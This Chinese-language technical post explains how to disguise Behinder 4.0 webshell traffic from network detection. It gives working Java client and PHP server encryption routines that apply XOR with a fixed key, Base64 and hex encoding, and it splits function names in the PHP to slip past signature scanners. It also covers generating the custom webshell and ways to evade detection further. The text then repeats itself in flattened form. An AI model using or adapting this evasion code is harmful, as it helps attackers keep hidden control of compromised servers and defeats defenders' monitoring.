冰蝎流量免杀初探
字数 957 2025-08-26 22:11:57

冰蝎4.0流量免杀技术深度解析

0x01 前言

冰蝎4.0版本引入了自定义传输协议功能,允许用户对通信流量进行改造,从而实现流量层面的免杀。本文基于rebeyond大佬的研究成果,详细解析冰蝎流量改造的技术细节。

0x02 冰蝎传输协议模块架构

冰蝎传输协议模块分为两部分:

  • 本地模块:必须使用Java编写,运行在客户端
  • 远程模块:根据Webshell语言类型编写(支持Java、PHP、ASP等)

完整流程:编写完本地和远程模块后,需要生成自定义的服务端Webshell,然后使用改造后的客户端进行连接。

0x03 加解密流程详解

1. 本地加密函数(Java)

private byte[] Encrypt(byte[] data) throws Exception {
    // 1. 异或加密
    String key = "e45e329feb5d925b";
    for(int i=0; i<data.length; i++) {
        data[i] = (byte)((data[i]) ^ (key.getBytes()[i+1&15]));
    }
    
    // 2. Base64编码(兼容不同Java版本)
    byte[] encrypted = null;
    Class baseCls;
    try {
        baseCls = Class.forName("java.util.Base64");
        Object Encoder = baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
        encrypted = (byte[])Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
    } catch(Throwable error) {
        baseCls = Class.forName("sun.misc.BASE64Encoder");
        Object Encoder = baseCls.newInstance();
        String result = (String)Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
        result = result.replace("\n", "").replace("\r", "");
        encrypted = result.getBytes();
    }
    
    // 3. 转换为十六进制
    Object obj = null;
    try {
        Class clazz = Class.forName("javax.xml.bind.DatatypeConverter");
        obj = clazz.getDeclaredMethod("printHexBinary", new Class[]{byte[].class}).invoke(null, encrypted);
    } catch(Throwable error){
        System.out.println(error);
    }
    
    return obj.toString().toLowerCase().getBytes();
}

关键点

  1. 使用固定密钥e45e329feb5d925b进行异或加密
  2. 兼容不同Java版本的Base64编码实现
  3. 最终转换为十六进制字符串

2. 本地解密函数(Java)

private byte[] Decrypt(byte[] data) throws Exception {
    // 1. 十六进制转Base64
    String decrypted_hex = new String(data);
    byte[] decrypted_base = null;
    try {
        Class clazz = Class.forName("javax.xml.bind.DatatypeConverter");
        decrypted_base = (byte[])clazz.getDeclaredMethod("parseHexBinary", String.class).invoke(null, decrypted_hex);
    } catch(Throwable error){
        System.out.println(error);
    }
    
    // 2. Base64解码
    byte[] decodebs;
    Class baseCls;
    try {
        baseCls = Class.forName("java.util.Base64");
        Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
        decodebs = (byte[])Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{decrypted_base});
    } catch(Throwable e) {
        baseCls = Class.forName("sun.misc.BASE64Decoder");
        Object Decoder = baseCls.newInstance();
        decodebs = (byte[])Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(decrypted_base)});
    }
    
    // 3. 异或解密
    String key = "e45e329feb5d925b";
    for(int i=0; i<decodebs.length; i++) {
        decodebs[i] = (byte)((decodebs[i]) ^ (key.getBytes()[i+1&15]));
    }
    
    return decodebs;
}

3. 远程加密函数(PHP示例)

function Encrypt($data) {
    $key="e45e329feb5d925b";
    // 1. 异或加密
    for($i=0;$i<strlen($data);$i++) {
        $data[$i] = $data[$i]^$key[$i+1&15];
    }
    // 2. Base64编码
    $bs="base64_"."encode";
    $after=$bs($data."");
    // 3. 转换为十六进制
    return bin2hex($after);
}

4. 远程解密函数(PHP示例)

function Decrypt($data) {
    $key="e45e329feb5d925b";
    $bs="base64_"."decode";
    // 1. 十六进制转Base64
    $after=$bs(pack('H*',$data)."");
    // 2. 异或解密
    for($i=0;$i<strlen($after);$i++) {
        $after[$i] = $after[$i]^$key[$i+1&15];
    }
    return $after;
}

0x04 加解密流程总结

  1. 加密流程

    • 原始payload → 异或加密 → Base64编码 → 十六进制转换
  2. 解密流程

    • 十六进制数据 → Base64解码 → 异或解密 → 原始payload

设计原理

  • 先进行Base64编码主要是为了保护原始payload,防止在从十六进制转回原payload时发生递归解析
  • 十六进制转换使得流量看起来不像常规的加密数据

0x05 实际应用

  1. 生成自定义Webshell

    • 在冰蝎客户端中编写好本地和远程模块
    • 生成服务端Webshell
  2. 连接测试

    • 使用改造后的客户端连接自定义Webshell
    • 通过Burp等工具抓包验证流量特征

0x06 流量分析

改造后的流量特征:

  • 所有通信数据均为十六进制字符串形式
  • 无明显的Base64或加密模式特征
  • 与传统冰蝎流量模式完全不同

0x07 进阶思考

要实现更高级的流量免杀,可考虑以下方向:

  1. 动态密钥交换机制
  2. 多层嵌套加密
  3. 模拟常见协议流量特征
  4. 结合TLS/SSL加密通道

0x08 注意事项

  1. 本文仅讨论流量改造技术,Webshell本身的免杀需要另行处理
  2. 实际绕过流量检测设备可能需要结合其他技术
  3. 密钥需要定期更换以提高安全性

通过以上技术,可以有效改造冰蝎的通信流量,使其难以被常规流量检测设备识别。

冰蝎4.0流量免杀技术深度解析 0x01 前言 冰蝎4.0版本引入了自定义传输协议功能,允许用户对通信流量进行改造,从而实现流量层面的免杀。本文基于rebeyond大佬的研究成果,详细解析冰蝎流量改造的技术细节。 0x02 冰蝎传输协议模块架构 冰蝎传输协议模块分为两部分: 本地模块 :必须使用Java编写,运行在客户端 远程模块 :根据Webshell语言类型编写(支持Java、PHP、ASP等) 完整流程 :编写完本地和远程模块后,需要生成自定义的服务端Webshell,然后使用改造后的客户端进行连接。 0x03 加解密流程详解 1. 本地加密函数(Java) 关键点 : 使用固定密钥 e45e329feb5d925b 进行异或加密 兼容不同Java版本的Base64编码实现 最终转换为十六进制字符串 2. 本地解密函数(Java) 3. 远程加密函数(PHP示例) 4. 远程解密函数(PHP示例) 0x04 加解密流程总结 加密流程 : 原始payload → 异或加密 → Base64编码 → 十六进制转换 解密流程 : 十六进制数据 → Base64解码 → 异或解密 → 原始payload 设计原理 : 先进行Base64编码主要是为了保护原始payload,防止在从十六进制转回原payload时发生递归解析 十六进制转换使得流量看起来不像常规的加密数据 0x05 实际应用 生成自定义Webshell : 在冰蝎客户端中编写好本地和远程模块 生成服务端Webshell 连接测试 : 使用改造后的客户端连接自定义Webshell 通过Burp等工具抓包验证流量特征 0x06 流量分析 改造后的流量特征: 所有通信数据均为十六进制字符串形式 无明显的Base64或加密模式特征 与传统冰蝎流量模式完全不同 0x07 进阶思考 要实现更高级的流量免杀,可考虑以下方向: 动态密钥交换机制 多层嵌套加密 模拟常见协议流量特征 结合TLS/SSL加密通道 0x08 注意事项 本文仅讨论流量改造技术,Webshell本身的免杀需要另行处理 实际绕过流量检测设备可能需要结合其他技术 密钥需要定期更换以提高安全性 通过以上技术,可以有效改造冰蝎的通信流量,使其难以被常规流量检测设备识别。